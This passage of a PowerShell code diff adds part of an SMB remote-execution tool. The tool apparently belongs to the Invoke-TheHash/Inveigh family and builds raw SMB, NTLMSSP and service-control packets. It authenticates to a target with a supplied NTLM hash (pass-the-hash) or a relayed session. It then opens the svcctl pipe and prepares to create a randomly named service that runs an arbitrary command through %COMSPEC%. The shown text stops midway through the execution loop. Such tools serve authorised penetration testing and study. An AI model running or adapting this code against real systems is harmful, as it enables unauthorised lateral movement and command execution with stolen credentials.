$packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind +} + +function New-PacketRPCRequest +{ + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketFlags",$packet_flags) + $packet_RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("FragLength",$packet_frag_length) + $packet_RPCRequest.Add("AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("CallID",$packet_call_ID) + $packet_RPCRequest.Add("AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("ContextID",$packet_context_ID) + $packet_RPCRequest.Add("Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("Data",$packet_data) + } + + return $packet_RPCRequest +} + +#SCM + +function New-PacketSCMOpenSCManagerW +{ + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return $packet_SCMOpenSCManagerW +} + +function New-PacketSCMCreateServiceW +{ + param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, + [Byte[]]$packet_command,[Byte[]]$packet_command_length) + + $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID += 0x00,0x00 + + $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMCreateServiceW.Add("ContextHandle",$packet_context_handle) + $packet_SCMCreateServiceW.Add("ServiceName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("ServiceName",$packet_service) + $packet_SCMCreateServiceW.Add("DisplayName_ReferentID",$packet_referent_ID) + $packet_SCMCreateServiceW.Add("DisplayName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("DisplayName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("DisplayName",$packet_service) + $packet_SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $packet_SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("BinaryPathName_MaxCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("BinaryPathName_ActualCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("BinaryPathName",$packet_command) + $packet_SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SCMCreateServiceW +} + +function New-PacketSCMStartServiceW +{ + param([Byte[]]$packet_context_handle) + + $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMStartServiceW.Add("ContextHandle",$packet_context_handle) + $packet_SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SCMStartServiceW +} + +function New-PacketSCMDeleteServiceW +{ + param([Byte[]]$packet_context_handle) + + $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMDeleteServiceW.Add("ContextHandle",$packet_context_handle) + + return $packet_SCMDeleteServiceW +} + +function New-PacketSCMCloseServiceHandle +{ + param([Byte[]]$packet_context_handle) + + $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCM_CloseServiceW.Add("ContextHandle",$packet_context_handle) + + return $packet_SCM_CloseServiceW +} + +function DataLength2 +{ + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + + return $string_length +} + +if($hash -like "*:*") +{ + $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) +} + +if($Domain) +{ + $output_username = $Domain + "\" + $Username +} +else +{ + $output_username = $Username +} + +[String]$session_string = $session + +if($session_string) +{ + + if(!$Inveigh -or !$inveigh.session_socket_table[$session]) + { + Write-Output "[-] Inveigh Relay session not found" + $startup_error = $true + } + elseif(!$inveigh.session_socket_table[$session].Connected) + { + Write-Output "[-] Inveigh Relay session not connected" + $startup_error = $true + } + + $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +if(!$session_string) +{ + $SMB_client = New-Object System.Net.Sockets.TCPClient + $SMB_client.Client.ReceiveTimeout = 60000 +} + +if(!$startup_error -and !$session_string) +{ + + try + { + $SMB_client.Connect($Target,"445") + } + catch + { + Write-Output "$Target did not respond" + } + +} + +if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) +{ + $SMB_client_receive = New-Object System.Byte[] 1024 + + if(!$session_string) + { + $SMB_client_stream = $SMB_client.GetStream() + $SMB_client_stage = 'NegotiateSMB' + + while($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') + { + + if($SigningCheck) + { + Write-Output "SMB signing is required" + $SMB_client_stage = 'exit' + } + else + { + Write-Verbose "SMB signing is required" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($SigningCheck) + { + Write-Output "SMB signing is not required" + $SMB_client_stage = 'exit' + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0 + } + + } + + } + else + { + $SMB_client_stage = 'NegotiateSMB2' + + if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') + { + + if($SigningCheck) + { + Write-Output "SMB signing is required" + $SMB_client_stage = 'exit' + } + else + { + Write-Verbose "SMB signing is required" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($SigningCheck) + { + Write-Output "SMB signing is not required" + $SMB_client_stage = 'exit' + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + } + + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' + } + + } + + } + + if(!$SigningCheck) + { + $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) + $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" + $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive + $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive + $SMB_session_ID = $SMB_client_receive[44..51] + $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] + $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) + $auth_username_length = $auth_username_length[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) + $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $SMB_target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $SMB_target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) + $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $SMB_session_key_length + + $SMB_session_key_length + + $SMB_session_key_offset + + $SMB_negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $SMB_client_receive[32,33] + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_version -eq 'SMB1') + { + + if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') + { + Write-Verbose "$output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "$output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + else + { + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') + { + Write-Verbose "$output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "$output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + + } + + } + + if($login_successful -or $session_string) + { + + if($session_string) + { + + if($session_string -and $inveigh.session_lock_table[$session] -eq 'locked') + { + Write-Output "[*] Pausing due to Inveigh Relay session lock" + Start-Sleep -s 2 + } + + $inveigh.session_lock_table[$session] = 'locked' + $SMB_client = $inveigh.session_socket_table[$session] + $SMB_client_stream = $SMB_client.GetStream() + $SMB_session_ID = $inveigh.session_table[$session] + $SMB2_message_ID = $inveigh.session_message_ID_table[$session] + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + } + + $SMB_path = "\\" + $Target + "\IPC$" + + if($SMB_version -eq 'SMB1') + { + $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 + } + else + { + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + } + + $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + + if(!$Service) + { + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_service) + + if([Bool]($SMB_service.Length % 2)) + { + $SMB_service_bytes += 0x00,0x00 + } + else + { + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + + } + + } + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) + + if($CommandCOMSPEC -eq 'Y') + { + $Command = "%COMSPEC% /C `"" + $Command + "`"" + } + else + { + $Command = "`"" + $Command + "`"" + } + + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) + { + $SMBExec_command += '00-00' + } + else + { + $SMBExec_command += '00-00-00-00' + } + + $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) + $SMB_split_index = 4256 + + if($SMB_version -eq 'SMB1') + { + $SMB_client_stage = 'TreeConnectAndXRequest' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnectAndXRequest' + { + $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateAndXRequest' + } + + 'CreateAndXRequest' + { + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $SMB_client_receive[28,29] + $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + 